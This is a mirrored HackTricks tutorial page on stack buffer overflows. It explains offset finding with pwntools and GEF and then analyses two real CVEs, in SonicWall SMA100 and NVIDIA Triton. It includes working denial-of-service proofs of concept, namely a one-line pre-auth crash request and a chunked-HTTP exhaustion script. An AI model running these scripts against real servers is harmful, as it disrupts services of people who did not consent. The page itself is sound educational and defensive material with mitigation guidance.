mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
209 lines
9.5 KiB
Markdown
209 lines
9.5 KiB
Markdown
# Stack Overflow
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## What is a Stack Overflow
|
||
|
||
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
|
||
|
||
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
|
||
|
||
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
|
||
|
||
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
|
||
|
||
For example, the following functions could be vulnerable:
|
||
|
||
```c
|
||
void vulnerable() {
|
||
char buffer[128];
|
||
printf("Enter some text: ");
|
||
gets(buffer); // This is where the vulnerability lies
|
||
printf("You entered: %s\n", buffer);
|
||
}
|
||
```
|
||
|
||
### Finding Stack Overflows offsets
|
||
|
||
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
|
||
|
||
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length _n_ appears exactly once** as a contiguous subsequence.
|
||
|
||
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
|
||
|
||
It's possible to use **pwntools** for this:
|
||
|
||
```python
|
||
from pwn import *
|
||
|
||
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
|
||
pattern = cyclic(1000)
|
||
|
||
# This is an example value that you'd have found in the EIP/IP register upon crash
|
||
eip_value = p32(0x6161616c)
|
||
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
|
||
print(f"The offset is: {offset}")
|
||
```
|
||
|
||
or **GEF**:
|
||
|
||
```bash
|
||
#Patterns
|
||
pattern create 200 #Generate length 200 pattern
|
||
pattern search "avaaawaa" #Search for the offset of that substring
|
||
pattern search $rsp #Search the offset given the content of $rsp
|
||
```
|
||
|
||
## Exploiting Stack Overflows
|
||
|
||
During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
|
||
The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
|
||
|
||
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
|
||
|
||
### Ret2win
|
||
|
||
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) so when the vulnerable function returns, the hidden function will be called:
|
||
|
||
|
||
{{#ref}}
|
||
ret2win/
|
||
{{#endref}}
|
||
|
||
### Stack Shellcode
|
||
|
||
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
|
||
|
||
|
||
{{#ref}}
|
||
stack-shellcode/
|
||
{{#endref}}
|
||
|
||
### ROP & Ret2... techniques
|
||
|
||
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
|
||
|
||
|
||
{{#ref}}
|
||
../rop-return-oriented-programing/
|
||
{{#endref}}
|
||
|
||
## Heap Overflows
|
||
|
||
An overflow is not always going to be in the stack, it could also be in the **heap** for example:
|
||
|
||
|
||
{{#ref}}
|
||
../libc-heap/heap-overflow.md
|
||
{{#endref}}
|
||
|
||
## Types of protections
|
||
|
||
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
|
||
|
||
|
||
{{#ref}}
|
||
../common-binary-protections-and-bypasses/
|
||
{{#endref}}
|
||
|
||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||
|
||
A good demonstration of why **`sscanf` should never be trusted for parsing untrusted input** appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.
|
||
The vulnerable routine inside `/usr/src/EasyAccess/bin/httpd` attempts to extract the version and endpoint from any URI that begins with `/__api__/`:
|
||
|
||
```c
|
||
char version[3];
|
||
char endpoint[0x800] = {0};
|
||
/* simplified proto-type */
|
||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||
```
|
||
|
||
1. The first conversion (`%2s`) safely stores **two** bytes into `version` (e.g. `"v1"`).
|
||
2. The second conversion (`%s`) **has no length specifier**, therefore `sscanf` will keep copying **until the first NUL byte**.
|
||
3. Because `endpoint` is located on the **stack** and is **0x800 bytes long**, providing a path longer than 0x800 bytes corrupts everything that sits after the buffer ‑ including the **stack canary** and the **saved return address**.
|
||
|
||
A single-line proof-of-concept is enough to trigger the crash **before authentication**:
|
||
|
||
```python
|
||
import requests, warnings
|
||
warnings.filterwarnings('ignore')
|
||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||
requests.get(url, verify=False)
|
||
```
|
||
|
||
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
|
||
|
||
* Always provide a **maximum field width** (e.g. `%511s`).
|
||
* Prefer safer alternatives such as `snprintf`/`strncpy_s`.
|
||
|
||
### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||
|
||
NVIDIA’s Triton Inference Server (≤ v25.06) contained multiple **stack-based overflows** reachable through its HTTP API.
|
||
The vulnerable pattern repeatedly appeared in `http_server.cc` and `sagemaker_server.cc`:
|
||
|
||
```c
|
||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||
if (n > 0) {
|
||
/* allocates 16 * n bytes on the stack */
|
||
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
|
||
alloca(sizeof(struct evbuffer_iovec) * n);
|
||
...
|
||
}
|
||
```
|
||
|
||
1. `evbuffer_peek` (libevent) returns the **number of internal buffer segments** that compose the current HTTP request body.
|
||
2. Each segment causes a **16-byte** `evbuffer_iovec` to be allocated on the **stack** via `alloca()` – **without any upper bound**.
|
||
3. By abusing **HTTP _chunked transfer-encoding_**, a client can force the request to be split into **hundreds-of-thousands of 6-byte chunks** (`"1\r\nA\r\n"`). This makes `n` grow unbounded until the stack is exhausted.
|
||
|
||
#### Proof-of-Concept (DoS)
|
||
```python
|
||
#!/usr/bin/env python3
|
||
import socket, sys
|
||
|
||
def exploit(host="localhost", port=8000, chunks=523_800):
|
||
s = socket.create_connection((host, port))
|
||
s.sendall((
|
||
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
|
||
f"Host: {host}:{port}\r\n"
|
||
"Content-Type: application/octet-stream\r\n"
|
||
"Inference-Header-Content-Length: 0\r\n"
|
||
"Transfer-Encoding: chunked\r\n"
|
||
"Connection: close\r\n\r\n"
|
||
).encode())
|
||
|
||
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
|
||
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
|
||
s.sendall(b"0\r\n\r\n") # end of chunks
|
||
s.close()
|
||
|
||
if __name__ == "__main__":
|
||
exploit(*sys.argv[1:])
|
||
```
|
||
A ~3 MB request is enough to overwrite the saved return address and **crash** the daemon on a default build.
|
||
|
||
#### Patch & Mitigation
|
||
The 25.07 release replaces the unsafe stack allocation with a **heap-backed `std::vector`** and gracefully handles `std::bad_alloc`:
|
||
|
||
```c++
|
||
std::vector<evbuffer_iovec> v_vec;
|
||
try {
|
||
v_vec = std::vector<evbuffer_iovec>(n);
|
||
} catch (const std::bad_alloc &e) {
|
||
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||
}
|
||
struct evbuffer_iovec *v = v_vec.data();
|
||
```
|
||
|
||
Lessons learned:
|
||
* Never call `alloca()` with attacker-controlled sizes.
|
||
* Chunked requests can drastically change the shape of server-side buffers.
|
||
* Validate / cap any value derived from client input *before* using it in memory allocations.
|
||
|
||
## References
|
||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
|